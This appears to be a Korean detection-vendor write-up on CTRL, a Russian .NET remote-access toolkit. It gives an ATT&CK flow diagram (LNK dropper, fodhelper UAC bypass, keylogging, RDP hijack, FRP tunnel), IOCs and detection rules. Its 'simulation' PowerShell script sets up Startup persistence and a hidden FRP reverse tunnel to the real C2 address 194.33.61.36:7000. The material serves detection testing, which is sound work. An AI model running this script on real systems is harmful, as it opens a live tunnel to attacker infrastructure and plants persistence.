CTRL 분석: 이전에 문서화되지 않은 러시아 .Net 접근 프레임워크 해부
Detection stack
- AIDR
- Alert
- ETL
- Query
개요
Censys ARC는 자격 증명 피싱, 키로깅, RDP 하이재킹, FRP 기반 역터널을 혼합한 새롭게 문서화되지 않은 러시아 원격 액세스 툴킷 CTRL을 발견했습니다. 이 프레임워크는 악성 LNK 파일을 통해 배포되며, 바이너리는 나중에 메모리로 직접 로드되는 Windows 레지스트리에 숨깁니다. 네트워크 인프라에는 도메인 hui228.ru 과 FRP 서버가 실행 중인 두 개의 IP 주소가 포함되어 있으며 포트 7000에서 작동합니다. 이 툴킷은 Windows 호스트를 대상으로 하며, 예약된 작업, 숨겨진 로컬 사용자 계정, 레지스트리 기반 변경을 통해 지속성을 유지합니다.
조사
연구원들은 LNK 드로퍼를 식별하고, 계층적 PowerShell 로더를 재구성했으며, Explorer 레지스트리 키 아래 REG_BINARY 값으로 저장된 단계적 .NET 바이너리를 추적했습니다. 스테이저는 후속 페이로드를 다운로드하고, 은폐된 ctrl.exe 로더를 생성하며, FRP 터널을 설정하고, 무제한 원격 세션을 허용하기 위한 RDP Wrapper를 배포합니다. 발견된 아티팩트 중 공용 위협정보 피드에 등장한 것은 없으며, 해당 프레임워크가 목적에 맞춰 비공개로 제작된 액세스 플랫폼임을 시사합니다.
완화
방어자는 Explorer 키 아래에서의 비정상적인 레지스트리 쓰기, DriverSvcTask, NetTcpSvc, TermSvcHost 또는 WindowsHealthMonitor라는 예약된 작업 생성, 그리고 관리자 또는 원격 데스크톱 사용자 그룹에 추가된 숨겨진 로컬 계정을 주목해야 합니다. 식별된 IP 주소와 FRP 포트 7000으로의 아웃바운드 연결은 차단되어야 하며, 예상치 못한 시스템의 FRP 프로토콜 트래픽은 플래그가 지정되어야 합니다. 권한 없는 FRP 또는 RDP Wrapper 설치는 제거되어야 하며, PowerShell 실행은 엄격히 통제되어야 합니다.
대응
CTRL 관련 활동이 발견되면 엔드포인트를 격리하고, LNK 파일과 관련된 레지스트리 하이브를 포렌식 분석을 위해 확보하며, ctrl.exe 프로세스를 중지하고 관련된 예약된 작업을 제거합니다. 새로 생성된 로컬 계정은 비활성화되어야 하며, 권한 없는 RDP 권한은 제거되고, 노출된 자격 증명은 회전됩니다. 이후 팀은 추가 FRP 서버를 위해 보다 넓은 환경을 스캔하고, 관찰된 IOCs로 탐지 규칙을 업데이트해야 합니다.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Action</b> – <b>T1204.002 User Execution</b>: 피해자가 악성 .lnk 바로가기를 클릭함"] class action_user_exec action action_lnk_smuggle["<b>Action</b> – <b>T1027.012 LNK Icon Smuggling</b>: 바로가기가 폴더 아이콘으로 스스로를 위장함"] class action_lnk_smuggle action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: 숨겨진 PowerShell 명령이 페이로드를 디코드함"] class action_powershell action action_deobfuscate["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files</b>: 여러 단계의 Base64 및 Deflate 디코딩"] class action_deobfuscate action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: 무작위 변수명과 런타임 문자열 구성"] class action_obfuscation action action_shortcut_persistence["<b>Action</b> – <b>T1547.009 Shortcut Modification</b>: LNK가 영속성 메커니즘으로 사용됨"] class action_shortcut_persistence action action_scheduled_tasks["<b>Action</b> – <b>T1053 Scheduled Task/Job</b>: 시작 시 바이너리를 실행시키기 위한 네 개의 작업이 생성됨"] class action_scheduled_tasks action action_create_account["<b>Action</b> – <b>T1136.001 Create Account</b>: 숨겨진 로컬 관리자 계정이 추가됨"] class action_create_account action action_uac_bypass["<b>Action</b> – <b>T1548 Abuse Elevation Control Mechanism</b>: fodhelper.exe 레지스트리 하이잭이 UAC를 우회함"] class action_uac_bypass action action_proxy_execution["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b>: wlrmdr.exe를 사용하여 권한 상승된 상태로 페이로드를 실행함"] class action_proxy_execution action action_priv_esc["<b>Action</b> – <b>T1068 Exploitation for Privilege Escalation</b>: termsrv.dll을 패치하고 RDP Wrapper를 설치함"] class action_priv_esc action action_masquerade["<b>Action</b> – <b>T1036 Masquerading</b>: 숨겨진 디렉토리에 합법적으로 보이는 이름으로 파일을 배치함"] class action_masquerade action action_hide_artifacts["<b>Action</b> – <b>T1564 Hide Artifacts</b>: Defender 예외 설정, 타임스탬프 변조, 레지스트리 모방"] class action_hide_artifacts action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture u2013 Keylogging</b>: 저수준의 키보드 후크가 C:Tempkeylog.txt에 기록함"] class action_keylogging action action_cred_harvest["<b>Action</b> – Credential Harvesting: 맞춤형 WPF Windows Hello UI가 PIN을 캡처함"] class action_cred_harvest action action_rdp["<b>Action</b> – <b>T1021.001 Remote Services u2013 RDP</b>: RDP Wrapper가 원격 데스크톱 접근을 활성화함"] class action_rdp action action_rdp_hijack["<b>Action</b> – <b>T1563.002 Remote Service Session Hijacking</b>: 공격자가 mstsc /shadow를 통해 활성 세션을 관찰함"] class action_rdp_hijack action action_frp_proxy["<b>Action</b> – <b>T1090.002 Proxy u2013 External Proxy</b>: hui228.ru:7000으로의 FRP 터널이 외부 프록시 역할을 함"] class action_frp_proxy action action_encrypted_channel["<b>Action</b> – <b>T1573 Encrypted Channel</b>: FRP 트래픽이 암호화됨, AES‑256‑CBC 페이로드 복호화"] class action_encrypted_channel action action_valid_accounts["<b>Action</b> – <b>T1078.003 Valid Accounts u2013 Local Accounts</b>: 숨겨진 관리자 계정이 영속성과 횡적 이동을 위해 사용됨"] class action_valid_accounts action action_lateral_movement["<b>Action</b> – Lateral Movement: 유효한 로컬 관리자 계정을 사용하여 네트워크 내에서 확산"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Tool</b> – Weaponized .lnk Shortcut<br/><b>File</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Tool</b> – PowerShell<br/><b>Purpose</b>: 숨겨진 스크립트를 실행하여 .NET 스테이저를 디코드 및 압축해제"] class tool_powershell tool process_stager["<b>Process</b> – .NET Stager stored as REG_BINARY under HKCU…Explorer"] class process_stager process tool_fodhelper["<b>Tool</b> – fodhelper.exe (Windows Utility)"] class tool_fodhelper tool tool_wlrmdr["<b>Tool</b> – wlrmdr.exe (signed Microsoft binary)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Tool</b> – RDP Wrapper<br/><b>Function</b>: 다중 동시 RDP 세션을 허용함"] class tool_rdpwrapper tool tool_frp["<b>Tool</b> – FRP client<br/><b>Function</b>: 외부 서버로 역터널링"] class tool_frp tool keylog_file["<b>File</b> – C:Tempkeylog.txt<br/><b>Content</b>: 기록된 키스트로크"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|launches| tool_lnk tool_lnk –>|triggers| action_lnk_smuggle action_lnk_smuggle –>|leads to| action_powershell action_powershell –>|executes| tool_powershell tool_powershell –>|stores payload in| process_stager process_stager –>|decoded by| action_deobfuscate action_deobfuscate –>|enables| action_obfuscation action_obfuscation –>|supports| action_shortcut_persistence action_shortcut_persistence –>|creates| action_scheduled_tasks action_scheduled_tasks –>|creates| action_create_account action_create_account –>|facilitates| action_uac_bypass action_uac_bypass –>|uses| tool_fodhelper action_uac_bypass –>|uses| tool_wlrmdr action_uac_bypass –>|enables| action_proxy_execution action_proxy_execution –>|facilitates| action_priv_esc action_priv_esc –>|installs| tool_rdpwrapper action_priv_esc –>|enables| action_masquerade action_masquerade –>|leads to| action_hide_artifacts action_hide_artifacts –>|adds| action_keylogging action_keylogging –>|writes to| keylog_file action_keylogging –>|supports| action_cred_harvest action_cred_harvest –>|enables| action_rdp action_rdp –>|used for| action_rdp_hijack action_rdp_hijack –>|sets up| action_frp_proxy action_frp_proxy –>|provides| action_encrypted_channel action_encrypted_channel –>|allows| action_valid_accounts action_valid_accounts –>|used for| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "
공격 흐름
탐지
원격 데스크탑 서비스 그림자 세션 가능성 (레지스트리 이벤트를 통해)
보기
의심스러운 PowerShell 문자열 (powershell을 통해)
보기
의심스러운 PowerShell 문자열 (cmdline을 통해)
보기
Windows Defender 기본 설정 의심스러운 변경 (powershell을 통해)
보기
FodHelper에서의 권한 상승 (UAC 우회) (레지스트리 이벤트를 통해)
보기
CTRL 하에서 감지할 IOC (HashSha256): 이전에 문서화되지 않은 러시아 .Net 액세스 프레임워크 분석
보기
CTRL 하에서 감지할 IOC (DestinationIP): 이전에 문서화되지 않은 러시아 .Net 액세스 프레임워크 분석
보기
CTRL 하에서 감지할 IOC (Emails): 이전에 문서화되지 않은 러시아 .Net 액세스 프레임워크 분석
보기
CTRL 하에서 감지할 IOC (SourceIP): 이전에 문서화되지 않은 러시아 .Net 액세스 프레임워크 분석
보기
악성 FRP 역터널링 연결 감지 [Windows 네트워크 연결]
보기
CTRL 툴킷 지속성을 탐지하기 위해 Explorer 레지스트리 키 사용 [Windows 레지스트리 이벤트]
보기
인코딩된 페이로드로 Obfuscated PowerShell 실행 탐지 [Windows PowerShell]
보기
시뮬레이션 실행
필수조건: Telemetry & Baseline 사전 비행 체크가 통과되어야 합니다.
-
공격 내러티브 및 명령:
적수는 이미 악성 피싱 첨부파일을 통해 FRP 클라이언트 (frp.exe)을(를) 손상된 Windows 호스트에 드롭했습니다. 지속성을 유지하기 위해 공격자는 시작 폴더에 바로가기를 등록하여 FRP를 C2 서버194.33.61.36:7000으로의 구성으로 실행되도록 하였습니다. 사용자가 로그인하면, 바로가기는 FRP를 시작하며, 이를 통해 역 TCP 터널을 공격자에게 개방하여 공격자가 터널을 통해 로컬 서비스를 (예: SMB) 포워딩 할 수 있게 합니다. FRP가 생성한 네트워크 연결은 규칙의dst_ipanddst_port기준과 일치하여 경보가 발생합니다. -
회귀 테스트 스크립트: (PowerShell – 자체 포함)
# ============================================================================= # FRP 역터널 시뮬레이션 – Sigma 규칙 fcb13968-1490-44c2-9f9f-c1ad2b668ce6을 트리거 # ============================================================================= # 변수 $frpUrl = "https://example.com/frp.exe" # 테스트 바이너리로 교체 $frpPath = "$env:ProgramDatafrp.exe" $cfgPath = "$env:ProgramDatafrp_client.ini" $c2Ip = "194.33.61.36" $c2Port = "7000" $startupLnk = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" # 1. FRP 바이너리 다운로드 (시뮬레이션 – 테스트를 위해 작은 실행 파일 사용) Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing # 2. 최소한의 FRP 클라이언트 구성 생성 @" [common] server_addr = $c2Ip server_port = $c2Port [ssh] type = tcp local_port = 22 remote_port = 6000 "@ | Set-Content -Path $cfgPath -Encoding ASCII # 3. 부팅 시 FRP를 실행하기 위한 바로가기를 시작 폴더에 생성 $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($startupLnk) $shortcut.TargetPath = $frpPath $shortcut.Arguments = "-c `"$cfgPath`"" $shortcut.WorkingDirectory = Split-Path $frpPath $shortcut.Save() # 4. FRP를 지금 시작(그래서 SIEM에서 즉시 탐지 가능) Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden Write-Host "FRP 역터널이 시작되었습니다. 탐지를 위해 SIEM을 확인하십시오." -
정리 명령:
# FRP 프로세스를 중단 Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force # 파일 및 바로가기 제거 Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue Write-Host "정리가 완료되었습니다."